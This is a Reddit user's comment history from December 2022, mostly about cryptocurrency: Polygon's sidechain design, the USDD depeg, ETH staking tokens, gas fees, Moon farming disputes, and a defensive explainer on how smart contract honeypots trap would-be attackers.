/r/CryptoCurrency/comments/zjwuow/every_two_months_i_like_to_calculate_the_yearly/izx8uzo/

It's a sidechain. It uses 2 bridges to Ethereum mainnet and posts checkpoints every 256 blocks. It relies on Ethereum for security. Other than that, the connection isn't strong enough to be called an L2. But it generate lots of fees for Ethereum due to the bridge, checkpoints, and people trading MATIC on Ethereum mainnet.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 10:07:01
/r/CryptoCurrency/comments/zjwuow/every_two_months_i_like_to_calculate_the_yearly/izx7rme/

Good project, but not necessarily a good investment for MATIC, which is foremost a utility token. It generates more revenue for ETH on the Ethereum network than it does for MATIC on the Polygon PoS network.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 09:58:59
/r/CryptoCurrency/comments/zk06ds/plans_to_bridge_moons_to_polygon/izx6j2y/

Arbitrum One is super convenient to use, but Arbitrum Nova is ghost town mainly only used for Reddit Community tokens. I'm guessing they went with it because MOONs originated on Rinkeby testnet, and an L2 was the logical move afterwards. ArbNova was the cheapest L2 with EVM compatibility at the time. Polygon PoS is a sidechain.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 09:49:55
/r/CryptoCurrency/comments/zjqtl5/usdd_has_unofficially_depegged/izx5jcd/

I've been digging around, and I don't think it was ever a real algo-stablecoin. The peg was always just one-way. You can mint USDD from other stablecoins using the PSM, but not the other way around (never enough liquidity). It effectively operates as a trust-me-bro stablecoin. TDR lets USDD fall, then his it at a discount to sell later at a profit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 09:42:25
/r/CryptoCurrency/comments/zjqtl5/usdd_has_unofficially_depegged/izx4wfo/

It's where half the USDT supply hides, account to Tron DAO reserves and USDT's documentation. It's very centralized and opaque. This is one of the many reasons I can't trust USDT.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 09:37:39
/r/Tronix/comments/zjtb4t/is_the_psm_for_usdd_functional/izx3zv4/

That's what I suspected. It's not going to be an effective stablecoin if the PSM only goes one way. I suppose TDR would make a profit every time it rebuys USDD at a discount, assuming they can keep doing this until their large reserves run out.

Commented by /u/Maleficent_Plankton in /r/Tronix on December 12, 2022 09:30:41
/r/CryptoCurrency/comments/zjqtl5/usdd_has_unofficially_depegged/izwah6a/

Seems like you have more knowledge about this than the others. Is USDD completely traded on the open market right now? Why is the value of USDD falling? I don't see any liquidity in the dozen contracts listed for the PSM. Is the PSM even active?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 03:54:56
/r/CryptoCurrency/comments/zjqtl5/usdd_has_unofficially_depegged/izw9w6h/

Check the [**Peg Stability Module**](https://tdr.org/#/psm) that is used to trade USDD 1:1 with other stablecoins. Unless I'm misunderstanding something, **the contracts holding the peg are completely drained**. There's less than $1000 of tokens in those 20 addresses.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 03:46:34
/r/CryptoCurrency/comments/zjqtl5/usdd_has_unofficially_depegged/izw9thk/

Here's why I think it has depegged: I has to do with the [**Peg Stability Module**](https://tdr.org/#/psm) that is used to trade USDD 1:1 with other stablecoins. Unless I'm misunderstanding something, **the contracts holding the peg are completely drained**. > PSM (Peg Stability Module) is a stablecoin swap tool launched by the TRON DAO Reserve. Users can swap between USDD and other stablecoins at a 1:1 ratio. Click on the "**PSM Contracts**" button. Then check every contract. **There is less than $1000 in all of those contracts holding the peg.**

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 03:45:30
/r/ethfinance/comments/zjp8tx/daily_general_discussion_december_12_2022/izw3rx1/

/u/Liberosist - About that Tweet: You have way more common sense, natural insight, and economic intuition than most "technical" people. You're great at breaking things down and making them understandable at a relatable-level. Your posts on rollups and what was then "Ethereum 2.0" made it so much easier for me to understand what was going on in the Ethereum ecosystem. Don't fall to Impostor Syndrome.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 12, 2022 02:23:44
/r/ethereum/comments/zjgr9r/ethereum_all_core_developers_call_151_writeup/izvfpil/

Glad someone is still doing writeups of those 2 hour meetings. The EOF updates are massive and such a huge change. I'm a little worried whether they'll bring more smart contract bugs since it's not battle-tested. I'm also looking forward to the upcoming KZG ceremony.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 11, 2022 22:22:32
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/izuj6g7/

Luckily not. [Just researching](https://www.reddit.com/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/izrdkx6/).

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 18:13:32
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/izu4oeb/

Yep. My mood is best described as "excited". There's so much happening.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 16:31:37
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/iztf7y3/

That shouldn't be right. cbETH grows in values and includes interest, like rETH. stETH rebases its supply, so its value should remain close to ETH's value. Of course, all of these are traded on the open market, and the market value does its own thing. cbETH currently has a large discount.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 13:47:44
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/iztbpym/

Excellent status report. Glad the mission was a success.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 13:25:26
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/izt6n4r/

I find it fascinating how much I've developed in the past 3 years. Every couple of months, I reflect on how little I knew and how ignorant I was just 6 months before. ####**My timeline of ignorance and learning** * **Before 3 years ago**: I only knew about Bitcoin * **3 years ago**: I only knew about Bitcoin and Ethereum. I started learning about the Bitcoin blockchain by taking multiple college-level blockchain courses. * **2.5 years ago**: I didn't know about CeFi lending platforms. Decided to research them by joining a dozen different CeFi and CEX platforms. (1-2 years later, I was able to spot all the red flags and safely exit each of them before their collapse.) * **2 years ago**: Started deep diving into learning about other blockchains (Polygon PoS, Cardano, Avalanche C/X/P-Chains, Polkadot ecosystem, Cosmos ecosystem, Algorand, Bitcoin Cash, Litecoin). * **1.5 years ago**: Started following Liberosist. Learned about rollups and the Ethereum merge. Started thinking more deeply about concepts like supply, throughput, sustainability, trust, and tokenomics. * **1.2 years ago**: Continued deep-diving into various blockchains. Started joining Cointest competitions. * **1 year ago**: I had no idea how to read or traverse a blockchain explorer (e.g. Etherscan, Blockchair) * **10 months ago**: I didn't understand how EIP-1559 worked. Or the limitations of batch transactions on various blockchains. * **8 months ago**: I didn't know how internal transactions worked * **6 months ago**: I didn't know about Lido or Rocket Pool. * **5 months ago**: I didn't realize that token approvals meant giving access at ANY time. * **4 months ago**: I didn't know any Solidity code. * **3 months ago**: I didn't about POAPs * **2 months ago**: I didn't know about contact-to-contract calls. * **1 month ago**: I didn't know about spoofed tokens or that blockchain explorers can be very misleading * **3 weeks ago**: I didn't know how to publish/verify contract code * **2 weeks ago**: I didn't know that the Sepolia testnet was so less congested than Goerli. * **1 week ago**: I didn't know about honeypots * **And 6 months in the future**: I will still look back and reflect on how little I know now. ####**There is always SO MUCH to LEARN.**

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 12:53:35
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/izrsh5g/

Here's my variation on one of them: https://github.com/mal-plankton/solidity/blob/main/Scams/Scam_Copy-paste-code.sol I don't think any dev will actually fall it, but there are probably ways to social engineer a non-dev to just copy-paste and use something like this.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 05:41:11
/r/ethfinance/comments/zihddi/daily_general_discussion_december_11_2022/izrdkx6/

I've been spending much of last week going down a rabbit hole studying **smart contract Honeypots** for devs. There were a lot of them mentioned on /r/ethdev 4-5 years ago, and but not many mentioned afterwards. Honeypots are contracts that seemingly have a vulnerability. However, this vulnerability is an intentionally-placed bait used to entice attackers. It's a trap by devs for other devs. There's a good [semi-updated summary in this post ](https://medium.com/@Knownsec_Blockchain_Lab/knownsec-blockchain-lab-interesting-smart-contract-honeypot-analysis-part-2-d3d63c59ebd2) that covers many of the older ones mentioned in /r/ethdev They all tend to have certain patterns: 1. There is **a bait vulnerability**. Sometimes this is an obvious typo, or a known common vulnerability like a re-entrancy bug. 2. There is **a requirement to add more funds** in order to exploit the vulnerability. This is usually a giant red flag that it's a trap. 3. There is **a trap** that's harder to find than the vulnerability. Usually something easy to miss unless you're really paying attention to the code. There is often a seemingly random function placed in the contract without a purpose. That's usually how the trap designer secretly modifies the contract's variable. **Some common traps**: 1. Contract variables set by constructors. People sometimes forget that constructors can set variables. 1. Contract variables that can be secretly set by calls from other contracts. If you look at a bait contract on a block explorer, it will not reveal whether other contracts have called it to set variables. 1. Obfuscated code. There are contracts with hundreds of lines of useless code, but one of them hides the true function of the contract. **How to avoid getting scammed by Honeypots**: 1. First off, you shouldn't be attacking vulnerabilities in other people's contracts unless you are a decent Solidity dev 1. Always thoroughly test the code in a dev environment first 1. Any contract arbitrarily requiring to add large amounts of funds in order to interact with it is likely a trap 1. Remember that contracts can be called by other contracts without leaving an obvious record. Don't trust the block explorer.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 11, 2022 02:10:00
/r/ethereum/comments/zi4qv7/attorney_needing_help_understanding_blockchain/izr72fo/

https://inevitableeth.com/ Pretty good summary you can learn in an hour

Commented by /u/Maleficent_Plankton in /r/ethereum on December 11, 2022 01:01:52
/r/ethereum/comments/zhgi8z/latest_week_in_ethereum_news/izr6zc0/

That Ethereum Wiki linked this week's post is pretty good for knowledge https://inevitableeth.com/

Commented by /u/Maleficent_Plankton in /r/ethereum on December 11, 2022 01:01:03
/r/CryptoCurrency/comments/zhd42p/daily_general_discussion_december_10_2022_gmt0/izqjw97/

I hope that's the case. Anyways, it's not in my interest to go poking someone who's heavily involved in Moon DeFi. So I'll leave it alone.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 10, 2022 21:37:32
/r/CryptoCurrency/comments/zhd42p/daily_general_discussion_december_10_2022_gmt0/izqeaal/

The other whale you interacted with multiple times before, transferring large amounts of Moons, mainly 73-74 days ago. And you keep using the same services on Arbitrum Nova. And you talk alike.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 10, 2022 20:50:25
/r/CryptoCurrency/comments/zhd42p/daily_general_discussion_december_10_2022_gmt0/izoqfxv/

I find it interesting that I marked both of these accounts as Moon Farmers on separate occasions.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 10, 2022 13:27:00
/r/CryptoCurrencyMeta/comments/zhqigo/the_downvote_spam_is_getting_out_of_hand/izoekr6/

You just deleted most of your posts from the past several days. This is manipulation and gaslighting.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 10, 2022 12:07:13
/r/CryptoCurrencyMeta/comments/zhqigo/the_downvote_spam_is_getting_out_of_hand/izo4haf/

Are you complaining about this for others getting downvoted or for yourself? If it's for others, I understand. But for yourself ... **You are a moon whale**. Just in the past 10 rounds, you've gotten 70K karma (not moons, karma) from r/CC. Also, he vast majority of your comments range from 1 word to 1-2 sentences long. That's it. That's pretty low effort. Most of your posts are Moon Farming spam.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 10, 2022 10:56:32
/r/CryptoCurrency/comments/zhbh8h/what_other_cryptocurrency_uses_the_governance/izld7ky/

It's somewhat ad hoc and centralized, so similar to MOON. Tezos would be a more decentralized on-chain governance.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 18:12:17
/r/ethfinance/comments/zgol4x/daily_general_discussion_december_9_2022/izl7due/

My favorite address. So all my mints were coming from you!

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 9, 2022 17:31:06
/r/CryptoCurrency/comments/zh45i6/rich_dad_r_kiyosaki_says_bitcoin_holders_will_get/izka92b/

Every RDPD article is either useless shilling or ragebait. I instantly downvote it. Stop covering this guy.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 13:51:37
/r/CryptoCurrency/comments/zh25en/assuming_grayscale_has_not_broken_the_terms_of/izjtvaz/

On a longer timescale, 5-10+ years, this could happen. I assumed we we're talking about 6-months redemption timescale since that's the institutional lock period. That's not going to happen without Bitcoin collapsing in general, or unless the GBTC redemption mechanism is shut down. But if you are talking about a longer timescale, then yeah, that could happen.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 12:10:03
/r/CryptoCurrency/comments/zgwyse/seven_different_teams_introduce_the_13th_tezos/izjsomn/

What does that have anything to do with this topic?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 12:02:27
/r/CryptoCurrency/comments/zgy1ga/what_a_legend_feels_weird_to_think_he_is_gone/izjs9n6/

Yes. This is about John McAfee. He was an extremely eccentric personality and shady character. There are several documentaries on him.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 11:59:49
/r/CryptoCurrency/comments/zh25en/assuming_grayscale_has_not_broken_the_terms_of/izjr73k/

The only reason it would lose 99.99% is if institutional investors believed they could not sell their GBTC for 0.01% of BTC's value in 6 months. And that would only happen if they were to go bankrupt and also havebmore liabilities than assets. Even in bankruptcy, it's unlikely the value would fall that much since they can still save some of the value. So zero practical chance of this happening.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 11:53:07
/r/CryptoCurrency/comments/zh1r3c/what_is_a_good_thing_a_centralised_exchange_has/izjpzfh/

* Having an order of magnitude less trading fees and spread. High liquidity. No network fees. * No approval function for swaps * No need to separately audit dApp * Convenience of not having to deal with self-custody on a dozen different networks for coins I have under $100 of * Convenince of not having to read contract code for safety, or having to verify that it's the correct token and not fake clone

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 11:45:12
/r/CryptoCurrency/comments/zgxyto/moving_staked_eth2_to_hardware_wallet/izja7wi/

I thought we were able to do this months ago. Where did all that cbETH for the past several months come from?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 09:59:17
/r/CryptoCurrency/comments/zgstyu/serious_what_features_do_you_look_for_in_a/izj8ylf/

As a power user: **Support for**: * Custom Chain IDs * Custom tokens * Testnets * Custom nonce, gas priority * RPC selection Warnings against dangerous transactions and signature requests. **Additional Features**: Ability to include Metadata Transaction obfuscation through using smart contract internal transfers would be interesting. Though that might be beyond the scope of a wallet's duties.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 09:50:23
/r/CryptoCurrency/comments/zglql0/leading_cardano_dex_suffers_frontrunning_attack/izj7yyk/

I remember in the 2021 bull run when Cardano was doing 50M transactions in a whole year. Other networks do that much in weeks.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 09:43:09
/r/CryptoCurrency/comments/zglql0/leading_cardano_dex_suffers_frontrunning_attack/izj7qyj/

Article doesn't say. > The Minswap is currently working on a detailed report that deals with the incident.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 09:41:34
/r/CryptoCurrency/comments/zgxu1u/users_are_now_able_to_unwrap_their_coinbase/izj72fv/

That document is incorrect. Even after 36 days, you can't remove funds until the Shanghai update. They're stuck on the Beacon chain.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 09:36:37
/r/CryptoCurrency/comments/zgn3bm/the_stablecoins_war_has_begun_usdc_is_offering_to/izj66d9/

Wait how technically? Where is your source? I'm assuming they're only covering the trading fees but not gas fees.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 09:29:59
/r/ethdev/comments/zgsei9/why_does_this_delegatecall_function_not_work/izj4qgm/

Well duh, I was looking at the wrong one. I super silly now. (This is why I shouldn't code in the middle of the night.)

Commented by /u/Maleficent_Plankton in /r/ethdev on December 9, 2022 09:19:26
/r/CryptoCurrency/comments/zggkk0/daily_general_discussion_december_9_2022_gmt0/izi15af/

At least it had a little pump at the beginning. ICP on the other hand ...

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 9, 2022 01:34:05
/r/CryptoCurrency/comments/zggkk0/daily_general_discussion_december_9_2022_gmt0/izhp4je/

Yeah. What is up with that? He gifted 10-15 Moons to 13 different redditors 19 hours ago.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 23:30:58
/r/CryptoCurrency/comments/zgjx5e/the_tech_doesnt_seem_so_important_these_days_but/izhevcp/

* [Source 1](https://np.reddit.com/r/MPlankton/comments/rashy2/best_of_crypto_posts/) * [Source 2](/r/EthFinance) - Check the dailies. This one's a secret hidden in plain sight. The sub name is misleading.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 22:06:58
/r/CryptoCurrency/comments/zgi09r/sec_tells_uslisted_companies_theyd_better/izhdlz3/

> Gary Gensler reiterated ... that 'the rules are there' and that 'law firms know how to advise their clients to comply.' Coinbase lawyer: Don't say a word Yeah. They don't have to disclose anything until there is regulation that they do.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 21:56:35
/r/CryptoCurrency/comments/zghs5y/did_i_just_burn_10_worth_of_eth_by_trying_to/izh5y02/

This is incorrect. The fee for ETH to unwrap will be a separate transaction on the Ethereum network, not the Polygon network. His link is on Polyscan. 0.0074 WETH ($10) is how much he transferred His Polygon PoS fee was 0.001529377154624858 MATIC, which is $0.00 Later on, he will be charged a separate network fee on the Ethereum side. But that $10 is NOT the fee.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 20:56:47
/r/CryptoCurrency/comments/zghs5y/did_i_just_burn_10_worth_of_eth_by_trying_to/izh4dn3/

No, that's how much you transferred: 0.0074 WETH for $9.53 Your fee was 0.001529377154624858 MATIC, which is $0.00

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 20:44:35
/r/CryptoCurrency/comments/zggkk0/daily_general_discussion_december_9_2022_gmt0/izh1n6j/

The card speaks the truth https://imgur.com/sHxQIng

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 20:22:58
/r/CryptoCurrency/comments/zfzlqa/reddits_2022_recap_transforms_users_into_trading/izgv8tn/

What do yours look like? Mine: https://imgur.com/sHxQIng

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 19:33:02
/r/CryptoCurrency/comments/zggkk0/daily_general_discussion_december_9_2022_gmt0/izgv1i4/

The recap card is so cool. They should've given us an option to mint it into an NFT. https://imgur.com/sHxQIng

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 19:31:27
/r/CryptoCurrency/comments/zg4kb9/cryptocom_has_not_paid_ufc_fighters_last_3_months/izfx4dt/

Well, at least post why so that I don't have to give clicks to a clickbait article: > Due to the contagion of FTX, it’s suggested many fearful cryptos felt promoting Bitcoin was not good for the moment. Therefore the payment of $60k to fighters by crypto.com was canceled for now. It is believed the sponsorship continues but with focus on other strategies.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 15:34:44
/r/CryptoCurrency/comments/zg0rd6/psa_the_us_government_knows_exactly_what_sbf_did/izfhaks/

I have access to all the porn on pornhub, bit there's no way I've had the time to watch even 0.0001% of them. They have the info, but it's not like they have the personnel to actively monitoring it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 13:52:09
/r/CryptoCurrency/comments/zfzftj/the_bitcoin_subreddit_and_bitcoin_maximalism/izf3jhw/

> this cesspool So you're saying this sub is full of shitcoin discussions? I think we're doing fine aside from the constant news spam. If you post about a shitcoin here, it gets downvoted unless you're making fun of it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 12:23:30
/r/CryptoCurrency/comments/zfzftj/the_bitcoin_subreddit_and_bitcoin_maximalism/izf1ojr/

And that includes Ethereum and other big projects. At some point, the maxis will need to admit that there are shitcoins and there are other decent crypto projects.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 12:11:51
/r/ethereum/comments/zg2luv/is_there_still_plan_for_the_ef_to/izeq2vs/

Isn't the EF already decentralized? And if they completely disappeared tomorrow (the foundation, not the people), Ethereum development would continue as normal. A lot of the core research occurs through Ethereum Magicians, Ethereum Research, EIPs, and code repositories.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 8, 2022 10:55:39
/r/ethereum/comments/zfrr4q/vitalik_blog_what_in_the_ethereum_application/izdl0cf/

Top post 2 days ago: https://www.reddit.com/r/ethereum/comments/zdrqd5/vitalik_what_in_the_ethereum_application/

Commented by /u/Maleficent_Plankton in /r/ethereum on December 8, 2022 04:07:11
/r/CryptoCurrency/comments/zfopij/offshore_will_eventually_lose/izd3i04/

Not accurate. FTX was based in Bahamas. Celsius and BlockFi were blocked from the SEC back in March from taking new funds from accounts for their lending platforms.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 8, 2022 00:24:57
/r/ethereum/comments/zf0j2i/can_signing_something_with_one_account_grant_a/izcv11a/

A signature can drain an account. - ETH_SIGN signature requests, which can drain anything, including ETH - Monkey Drainer signature requests for OpenSea

Commented by /u/Maleficent_Plankton in /r/ethereum on December 7, 2022 23:06:25
/r/CryptoReality/comments/zeqm4d/gamestop_just_realized_blockchain_wont_save_it/izb4kmm/

They're doing whatever is going to keep them alive from quarter to quarter. The problem that the remaining GME and Loopring gangs don't realize is that without EVM support in the Loopring network, it's going to stop growing. Optimistic Rollups are absolutely dominating the L2 TVL and that's due to EVM support.

Commented by /u/Maleficent_Plankton in /r/CryptoReality on December 7, 2022 15:30:31
/r/ethereum/comments/zeu0f6/anatomy_of_a_scam_and_how_i_felt_for_it_what_to/iza737g/

I still don't get the Twitter part. When you search for Tom Sandoval's Twitter account, the first search result is TomSandoval1 with 300K followers. I think that's the actor's real account, and it must've gotten taken over by the hacker. The description must've been edited to make it look like he's a zkSync cofounder. I don't think the real Tom Sandover has any relationship with zkSync? This kind of multi-faceted social engineering is really scary, especially when your trusted friend messages you about it, and he thinks it's real too.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 7, 2022 11:52:05
/r/ethereum/comments/zeu0f6/anatomy_of_a_scam_and_how_i_felt_for_it_what_to/iza5gie/

Hi OP. Sorry for your loss. I'm curious whether your mobile Metamask gave you any warnings. Did the Meta-transaction looks red when you previewed it? I've never used the mobile client before, and I've always been worried about whether Metamask is giving sufficient warnings to users. For example, in the picture below, the 1st screenshot is a transaction in RED, and you have no idea what transaction you're signing. The 2nd is safe. There is no RED background, and you can see that you're signing a paragraph message instead of just a transaction hash. https://imgur.com/a/OSFpsKq

Commented by /u/Maleficent_Plankton in /r/ethereum on December 7, 2022 11:41:07
/r/ethereum/comments/zeu0f6/anatomy_of_a_scam_and_how_i_felt_for_it_what_to/iz9xip6/

I think Ethereum should pick up something similar to the native multisig/ownership/role permissions that are available on Tron. They allow you to specify another address that can control a customizable list of permissions for your own address. And it's native for EOA accounts. Not sure how complex such a large change would be to make it available for Ethereum.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 7, 2022 10:47:37
/r/CryptoCurrency/comments/zernph/blockchain_101_history_and_ambitious_use_cases/iz85v2s/

Couldn't find it anywhere. You sure? Where's the link?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 23:19:19
/r/CryptoCurrency/comments/zejke1/are_we_sometimes_too_selfrighteous/iz7x4za/

Yep. It's called ragebait, and it gets clicks even faster than clickbait. It's a cancer in society.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 22:06:12
/r/CryptoCurrency/comments/zepzje/republican_congressman_hit_with_ethics_penalty/iz7v9yl/

So he made a profit of $110K on the pump and dump, and they only fined him $14K? They really do get lighter sentences.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 21:51:30
/r/CryptoCurrency/comments/zepv6u/og_audio_app_winamp_adds_ethereum_and_polygon/iz7ui8t/

That's cute. Now how do they actually determine whether you own an address? Did they actually build a web3 wallet or injector? Because that's way bigger news than just playing NFTs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 21:45:31
/r/CryptoCurrency/comments/zecnf9/9_years_ago_china_banned_bitcoin_yet_still/iz7tjhf/

As if China is one entity. You think their citizens are making the rules subjugating themselves?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 21:38:08
/r/CryptoCurrency/comments/zepnr5/are_you_not_convinced_that_inflation_is_a_bad/iz7t5k6/

That's hyperinflation. And most cryptocurrencies have 2-20% supply inflation.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 21:35:15
/r/AskReddit/comments/zegzvj/what_are_some_of_the_best_bodily_pleasures/iz7hwl2/

Back and foot massages. Sex leaves you feeling good for an hour. A good massage will last a day.

Commented by /u/Maleficent_Plankton in /r/AskReddit on December 6, 2022 20:08:56
/r/CryptoCurrency/comments/zehts6/the_algorand_blockchain_explained/iz7brff/

If you actually read the article, you would know it's bad most of the time. It's useless 60% of the time, medicore 30% of the time (captures a side point), and only gets the main point 10% of the time.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 19:22:38
/r/CryptoCurrency/comments/zdtfeu/kentucky_to_scrutinize_contracts_offering_cheaper/iz6kx0x/

What other companies are getting this? Article only mentions 2, and they're both mining companies. No company should be getting subsidies unless they produce a positive externality that is an uncompensated public good.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 16:14:41
/r/CryptoCurrency/comments/zea61a/new_ledger_coming_in_ledger_stax/iz5pi08/

Bigger screen so that you can see your transaction details better than on a abysmally tiny screen. Assuming you have $300 to burn

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 12:54:39
/r/CryptoCurrency/comments/zed0qz/new_sophisticated_phishing_attempt_beware/iz5p6sr/

This guy got spear phished. Not sophisticated, but higher effort.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 12:52:47
/r/CryptoCurrency/comments/ze4brf/algorand_foundation_unveils_2023_plans_at/iz5bwp2/

**TL;DR**: Only a bunch of CEX and DeFi partnerships. No protocol or governance changes.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 11:27:20
/r/CryptoCurrency/comments/ze5kit/new_blockchain_data_proves_that_the_ustluna_depeg/iz54310/

OP had the wrong event. It was the 2ne May 5th trade for BTC that started the crash of their ecosystem.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 6, 2022 10:34:20
/r/shortscarystories/comments/zd40rv/my_husband_loves_to_use_weaponised_incompetence/iz409lh/

> weaponized incompetence Subtle foreshadowing

Commented by /u/Maleficent_Plankton in /r/shortscarystories on December 6, 2022 03:19:33
/r/CryptoCurrency/comments/zdqmqp/im_getting_more_and_more_bullish_about_polygon/iz3b4mg/

I like the platform, but not the token. Fees are too low to generate meaningful revenue. We also don't know if the L2 solutions will use MATIC. Bullish on the tech, not on the tokenomics.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 22:39:58
/r/CryptoCurrency/comments/zdtfeu/kentucky_to_scrutinize_contracts_offering_cheaper/iz3ac5z/

Good. We shouldn't be giving subsidies and discounts to miners. Let the free market decide.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 22:33:38
/r/ethereum/comments/zcdapw/how_to_calculate_fees_for_a_ethereum_mainnet/iz30px6/

Not accurate. Every ERC-20 token transfer costs a different amount of gas depending on the situation and the contract. For the standard contract, it costs: * ~35k gas to send ERC-20 to an account with an existing USDC balance * ~50k gas to send to an account with a 0-balance * ~30k gas to zero your own USDC balance by sending all your USDC tokens to the other account

Commented by /u/Maleficent_Plankton in /r/ethereum on December 5, 2022 21:17:39
/r/ethereum/comments/zcdapw/how_to_calculate_fees_for_a_ethereum_mainnet/iz30l49/

The reason you don't find many calculators for sending ERC-20 tokens is because the amount of gas you spend varies. It completely depends on the ERC-20's **transfer()** function, and **every ERC-20 token contract is written slightly differently**. For the standard contract, it costs: * ~35k gas to send ERC-20 to an account with an existing USDC balance * ~50k gas to send to an account with a 0-balance * ~30k gas to zero your own USDC balance by sending all your USDC tokens to the other account So just use one of [those existing ETH calculators](https://etherscan.io/gastracker) and then multiply their amount by (35/21), (50/21) or (30/21).

Commented by /u/Maleficent_Plankton in /r/ethereum on December 5, 2022 21:16:39
/r/ethereum/comments/zd6rm2/need_ethereum_goerli_faucets/iz2yuo6/

Use Sepolia if possible. If not, Coinbase Wallet has an easy built-in faucet.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 5, 2022 21:03:38
/r/ethfinance/comments/zb977b/daily_general_discussion_december_3_2022/iz2qr84/

Yeah. That was a pretty ingenuous discovery. The amount stolen wasn't that big, and exploiters earned it. Btw, you've been expanding. This is the last sub I would've expected to find you.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 5, 2022 20:01:38
/r/CryptoCurrency/comments/zdij26/with_so_many_crypto_exchanges_going_under_ftx/iz1odfi/

How do you use a swap or DEX without trusting it or trusting that someone else has reviewed its contracts regularly? You're not going to be trustless unless you know how to audit smart contracts, and you also have to have the diligence and time to audit them carefully. It's super time consuming, and I'm sure 99.99% of crypto users don't have the ability or patience to do it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 15:32:01
/r/CryptoCurrency/comments/zdgiud/central_bank_plans_to_make_cbdc_only_legal/iz1gl36/

The same government now about to make it illegal for non-married couples to sleep in the same house. And where it's illegal to not have a religion.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 5, 2022 14:42:30
/r/AlgorandOfficial/comments/zbkt8j/algoscan_another_blockchain_explorer_is_live/iz1f1oh/

I've compared transactions in both. It's nearly identical to Algo Explorer. Both are lacking in features that are normal for EVM explorers.

